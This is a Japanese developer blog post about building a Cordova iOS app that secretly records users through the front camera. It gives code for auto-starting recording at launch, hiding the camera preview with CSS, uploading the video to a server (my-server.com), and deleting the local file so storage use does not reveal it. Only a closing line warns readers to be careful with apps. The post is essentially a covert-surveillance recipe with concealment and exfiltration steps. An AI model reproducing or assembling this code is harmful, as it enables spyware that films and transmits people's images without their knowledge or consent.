Corredor

ウェブ、プログラミングの勉強メモ。

Cordova アプリでもユーザを簡単に隠し撮りできる。そのやり方を公開

[rakuten:bookoffonline:12122084:detail]

こんな記事があった。↓

gigazine.net

クラウズさんによると、一度カメラへのアクセス権限を与えられたアプリは、フォアグラウンドにいる場合は、音やライト、その他のインジケーターで「写真やムービーを撮影している」ということをユーザーに知らせることなく、写真やムービーを撮影することが可能であるとのことです。さらに、クラウズさんはiOS端末からサーバーに、撮影した写真やムービーを無断でアップロードすることもできると主張しています。

サンプルコードも GitHub で公開されていて、ネイティブで実装されているんだけど、上述の内容なら Cordova で作った iOS アプリでも実現可能だなぁと思ったので発言してみる。Cordova アプリとプラグインだけで実現できれば、JavaScript と多少の HTML・CSS が分かるだけで同様のアプリが実装できるというワケだ。

ココでは全ての動作するコードは示さないが、おおよその作り方は分かってもらえるよう解説してみる。

秘密裏にカメラ撮影を行う : cordova-background-video

秘密裏にカメラ撮影を行うには、cordova-background-video というプラグインが使えるだろう。以前紹介したが、僕がフル HD 画質で撮影できるようにした Fork 版があるので、コチラを使っていただければと思う。

neos21.hatenablog.com

neos21.hatenablog.com

GitHub リポジトリは以下。


さて、このプラグインを使った場合、ビデオ撮影は以下のような API で始められる。第1引数がファイル名。第2引数で 'front' と指定しているのでフロントカメラで撮影される。'back' を指定すれば通常のバックカメラで録画できる。

cordova.plugins.backgroundvideo.start('video-file-name', 'front', () => {
  console.log('録画開始 成功');
}, () => {
  console.log('録画開始 失敗');
});

初回のみカメラへのアクセス許可を求められるが、一度許可してもらえば後はこのコードを呼び出して好きなタイミングで録画を開始できる。

この処理を document.addEventListener('deviceready') のタイミングで実行するようにしておけば、アプリの起動時に自動的に録画開始できるというワケだ。

カメラ撮影中のプレビュー表示を隠す

この cordova-background-video プラグインは、HTML の背景に録画中のプレビュー画面が表示される作りだ。このままでは録画していることがバレバレである。

しかしこれは、html・body 要素に CSS で background を指定するだけでプレビュー表示を覆い隠すことができる。

html, body {
  background: #fff;
}

もちろん、ネイティブコードをいじって、そもそもプレビュー表示をしないよう細工することもできるだろう。しかし今回はフロントエンド技術だけで対処してみようと思う。

録画停止

良きタイミングで録画を停止し、動画ファイルを書き出そう。録画の停止も API を呼び出すだけ。コールバック関数内で撮影したファイルの URL を取得できる。

cordova.plugins.backgroundvideo.stop((fileUrl) => {
  console.log('録画停止 成功', fileUrl);
});

撮影した動画ファイルはアプリ内に保存され、カメラロール等に保存されないのでユーザにはバレにくい。具体的には approot/Library/Caches/ というアプリ内のディレクトリに保存される。このディレクトリは cordova.file.cacheDirectory という定数でアクセス可能だ。

ファイル名は録画開始時に第1引数で指定した名前 + 拡張子 .mp4 となり、名前が重複する場合は「指定の名前 + _1(連番).mp4」とリネームされる。

アプリがバックグラウンドに移動したりしたら?

録画停止前にアプリがバックグラウンドに移動すると、自動的に cordova.plugins.backgroundvideo.stop() 相当の処理が行われる。すなわち、アプリがバックグラウンドに移動するところまでの動画ファイルが生成・保存されている。

コールバック関数でファイル URL を受け取れなくなるが、前述のとおり、録画された動画ファイルは cordova.file.cacheDirectory + fileName で特定できるので、特に問題ないだろう。

少々ハンドリングが難しくはなるが、バックグラウンドに移動した時に何かしたければ document.addEventListener('pause')、フォアグラウンドに復帰した時に何かしたければ document.addEventListener('resume') イベントで処理ができるので、これらのイベントハンドラに後続のファイルアップロードやファイル削除の処理を入れても良いだろう。iOS の場合は pause と同等のイベントに resignresume と同等のイベントに active というイベントもある。これらは若干発火するタイミングが異なるのでコチラもチェックしておこう。

録画した動画ファイルをアップロードする : cordova-plugin-file-transfer

録画完了時にファイル URL が取得できているので、これを基に、動画ファイルを任意のサーバに送信してみよう。ファイルの送信には cordova-plugin-file-transfer などのプラグインが使えるであろう。

// 変数「fileUrl」に 'cdv://localhost/cache/video-file-name.mp4' といった形で動画ファイルの URL が保持されているものとする

// ファイルのアップロード先サーバ
const url = encodeURI('http://my-server.com/upload.php');

const options = new FileUploadOptions();
options.fileKey = 'file';
options.fileName = fileUrl.substr(fileUrl.lastIndexOf('/') + 1);  // ファイル URL からファイル名だけ取得している
options.mimeType = 'video/mp4';

const fileTransfer = new FileTransfer();
fileTransfer.upload(fileUrl, url, (response) => {
  console.log('ファイル送信 成功', response);
}, (error) => {
  console.log('ファイル送信 失敗', error);
}, options);

アップロード後のファイル削除 : cordova-plugin-file

動画ファイルをアップロードしたら、もうアプリ内に動画ファイルを保持しておく必要はない。アプリとしての容量も食うので「設定」アプリからストレージの使用量で勘付かれる恐れもある。不要になったファイルは早急にアプリ内から削除してしまおう。

ファイルの削除など、ファイル操作は cordova-plugin-file で十分行える。

neos21.hatenablog.com

動画が保存されているアプリ内ディレクトリは cordova.file.cacheDirectory という定数でアクセスできるので、あとは HTML5 File API の要領でファイルを取得し、削除したりできる。

// 変数「fileName」に、動画のファイル名である 'video-file-name.mp4' が格納されているものとする

// 動画ファイルが格納されている Caches ディレクトリを指定する
window.resolveLocalFileSystemURL(cordova.file.cacheDirectory, (fileSystem) => {
  // 変数「fileName」を指定して、対象の動画ファイルを取得する
  fileSystem.getFile(fileName, { create: false }, (fileEntry) => {
    // 取得したファイルを削除する
    fileEntry.remove(() => {
      console.log('ファイル削除 成功');
    }, (removeError) => {
      console.log('ファイル削除 失敗', removeError.code);
    });
  }, (getFileError) => {
    console.log('ファイル取得 失敗', getFileError.code);
  });
}, (error) => {
  console.log('ディレクトリ操作 失敗', error.code);
});

まとめ

これにて、ユーザを隠し撮りするための方法の紹介が終わった。

  • アプリ起動時に cordova-background-video + 簡単な CSS で秘密裏に録画を開始しておき、
  • 任意のタイミングで録画を停止する → 録画停止時に動画ファイルがアプリ内に保存される。
  • 動画ファイルは cordova-plugin-file-transfer などでサーバに送信し、
  • 必要なくなったら cordova-plugin-file でアプリ内から動画ファイルを削除してしまう。

という流れだ。

一切ネイティブコードを触らなくても、この程度のことであれば簡単にできてしまうことが分かっていただけただろうか。

便利になった反面、こうしたセキュリティリスクも高まるので、アプリの利用には十分注意してほしい。


今回利用した「Cordova」という OSS の技術と、Cordova をベースに Adobe が提供している「PhoneGap」というプロダクトに関する情報は、以下のような書籍でも収集できる。

HTML5とApache Cordovaで始めるハイブリッドアプリ開発 (CodeZine BOOKS)

HTML5とApache Cordovaで始めるハイブリッドアプリ開発 (CodeZine BOOKS)

[iOS/Android対応] HTML5 ハイブリッドアプリ開発[実践]入門 (Software Design plus)

[iOS/Android対応] HTML5 ハイブリッドアプリ開発[実践]入門 (Software Design plus)

HTML5とJavaScriptによるiPhone/Android両対応アプリ開発ガイド (DESIGN & WEB TECHNOLOGY)

HTML5とJavaScriptによるiPhone/Android両対応アプリ開発ガイド (DESIGN & WEB TECHNOLOGY)

  • 作者: 大友聡之,坂手寛,清水崇之,城口良太,高木基成,床井幹人,野島祐慈,渡辺俊輔
  • 出版社/メーカー: 翔泳社
  • 発売日: 2013/03/12
  • メディア: 大型本
  • クリック: 1回
  • この商品を含むブログ (2件) を見る

PhoneGap 入門ガイド (Smart Mobile Developer)

PhoneGap 入門ガイド (Smart Mobile Developer)

HTML5/JavaScriptとPhoneGapで作るiPhoneアプリ開発入門

HTML5/JavaScriptとPhoneGapで作るiPhoneアプリ開発入門